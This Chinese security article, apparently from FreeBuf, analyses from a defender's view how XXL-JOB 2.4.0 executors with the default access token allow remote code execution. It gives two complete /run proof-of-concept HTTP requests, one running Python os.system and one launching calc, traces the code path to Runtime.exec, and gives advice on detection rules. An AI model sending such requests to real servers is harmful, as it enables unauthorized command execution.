从蓝队角度分析XXL JOB默认ACCESS-TOKEN导致RCE漏洞
2024-9-6 15:18:16 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

0x1 环境搭建

  1. IDEA导入xxl-job 2.4.0
  2. 修改application.properties配置文件中的数据库配置
  3. 先启动XxlJobAdminApplication,再启动XxlJobExecutorApplication

0x2 利用流程

执行函数com/xxl/job/core/util/ScriptUtil.java/execToFile

1725606453_66daaa35725d95f89cb5f.png!small?1725606453935

主要有两种利用方式,glueType均有多种选择(BEAN、GLUE_GROOVY、GLUE_SHELL、GLUE_PYTHON、GLUE_PHP、GLUE_NODEJS、GLUE_POWERSHELL),对应修改payload即可。

第一种:

POST /run HTTP/1.1
Host: 192.168.120.119:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: Keep-Alive
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 380

{
	"jobId": 203,
	"executorHandler":  "demoJobHandler" ,
	"executorParams": "demoJobHandler",
	"executorBlockStrategy": "COVER_EARLY",
	"executorTimeout": 0,
	"logId": 1,
	"logDateTime": 1699328616,
	"glueType": "GLUE_PYTHON",
	"glueSource": "import os;os.system(f'echo test>>D:/test.txt')",
	"glueUpdatetime": 1699328616,
	"broadcastIndex": 0,
	"broadcastTotal": 0
}

第二种:

POST /run HTTP/1.1
Host: 192.168.120.119:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 314

{
	"jobId": 2012,
	"executorHandler": "commandJobHandler" ,
	"executorParams":  "calc",
	"executorBlockStrategy": "",
	"executorTimeout": 0,
	"logId": 1,
	"logDateTime": 1586629003733,
	"glueType": "BEAN",
	"glueSource":1,
	"glueUpdatetime": 1586629003727,
	"broadcastIndex": 0,
	"broadcastTotal": 0
}

0x3 背景介绍

3.1 官方文档:https://www.xuxueli.com/xxl-job/

为提升系统安全性,调度中心和执行器进行安全性校验,双方AccessToken匹配才允许通讯;

调度中心和执行器,可通过配置项 “xxl.job.accessToken” 进行AccessToken的设置。

  1. 调度中心项目:xxl-job-admin
  2. 作用:统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。
  1. “执行器”项目:xxl-job-executor-sample-springboot (提供多种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器)
  2. 作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。

3.2 一次完整的任务调度通讯流程

  1. 调度中心”向“执行器”发送http调度请求:“执行器”中接收请求的服务,执行器实际上是一台内嵌Server,默认端口9999,(配置项:xxl.job.executor.port);
  2. “执行器”执行任务逻辑;
  3. “执行器”http回调“调度中心”调度结果:“调度中心”中接收回调的服务,是针对执行器开放一套API服务;

3.3 执行器 RESTful API

触发任务执行
------
地址格式:{执行器内嵌服务根地址}/run
Header:
    XXL-JOB-ACCESS-TOKEN : {请求令牌}
请求数据格式如下,放置在 RequestBody 中,JSON格式:
    {
        "jobId":1,                                  // 任务ID
        "executorHandler":"demoJobHandler",         // 任务标识
        "executorParams":"demoJobHandler",          // 任务参数
        "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
        "executorTimeout":0,                        // 任务超时时间,单位秒,大于零时生效
        "logId":1,                                  // 本次调度日志ID
        "logDateTime":1586629003729,                // 本次调度日志时间
        "glueType":"BEAN",                          // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
        "glueSource":"xxx",                         // GLUE脚本代码
        "glueUpdatetime":1586629003727,             // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
        "broadcastIndex":0,                         // 分片参数:当前分片
        "broadcastTotal":0                          // 分片参数:总分片
    }
响应数据格式:
    {
      "code": 200,      // 200 表示正常、其他失败
      "msg": null       // 错误提示消息
    }

0x4 分析过程

1) 在com/xxl/job/core/executor/XxlJobExecutor.java中会初始化并启动“执行器”内嵌Server,默认端口9999。

1725606618_66daaada404f936fcfd14.png!small?1725606620361

2) 在com/xxl/job/core/server/EmbedServer.java中

a. 获取请求的内容、uri、方法和头部XXL-JOB-ACCESS-TOKEN。

1725606642_66daaaf2d3bd0f9a5900e.png!small?1725606643674

b. 将上面获取到的请求信息传入Process方法,首先进行了三个判断:

  • 若请求方法不是POST,则结束
  • 若uri为空,则结束
  • 若XXL-JOB-ACCESS-TOKEN不存在或值与配置中不同,则结束

任务执行的uri是/run,那么进入run分支,在run分支中,首先会将请求提交的json内容转化TriggerParam对象,并传入executorBiz.run方法中。

1725606670_66daab0ecc85eb4f68d71.png!small?1725606671332

3) 在com/xxl/job/core/biz/impl/ExecutorBizImpl.java文件内的run方法中。

获取TriggerParam中保存的请求内容,如glueType参数,可以发现其实glueType支持多种形式,但目前网上公开的POC基本只有GLUE_SHELL、GLUE_POWERSHELL,实际测试发现其它同样可以实现RCE。

1725606693_66daab25cb2cbfd2e9680.png!small?1725606694478

1725606705_66daab31453c51987f95b.png!small?1725606705846

由于测试的glueType=GLUE_PYTHON,那么最终进入脚本判断流程,获取ScriptJobHandler处理对象,传入XxlJobExecutor.registJobThread方法进行后续处理。

1725606728_66daab48721189590ccd8.png!small?1725606729620

4) 在com/xxl/job/core/executor/XxlJobExecutor.java中,通过请求中的jobId、handler创建线程,并通过start执行JobThread中的run()方法。

1725606753_66daab61601b17926a7e8.png!small?1725606754009

5)在com/xxl/job/core/thread/JobThread.java中,执行handler.execute();hadler是IJobHandler的对象,而ScriptJobHandler是IJobHandler子类,最终会进入到ScriptJobHandler的execute方法中

1725606776_66daab78983d899c3ed8f.png!small?1725606777907

6) 在com/xxl/job/core/handler/impl/ScriptJobHandler.java的execute()方法中,首先会根据传入的脚本类型和命令生成对应的脚本文件,然后传入脚本文件路径ScriptUtil.execToFile()中。

1725606797_66daab8d8dc004f022747.png!small?1725606799405

1725606813_66daab9d7893a877dfd15.png!small?1725606814620

6) 在com/xxl/job/core/util/ScriptUtil.java中,通过Runtime.getRuntime().exec()实现命令执行。

1725606834_66daabb262862ffe3eeae.png!small?1725606834956

总结:

1) 网上公开的POC基本只有一两种利用情况,按照实际测试情况看,其它多种脚本方式也可以成功执行,单单基于公开的POC开发检测规则在实战中会检测不全;

2)从分析情况看,有些参数是必须的,比如方法必须是POST等,否则无法成功利用。因此在写检测规则时可以基于必须的参数严格限制,避免冗余。


文章来源: https://www.freebuf.com/vuls/410423.html
如有侵权请联系:admin#unsafe.sh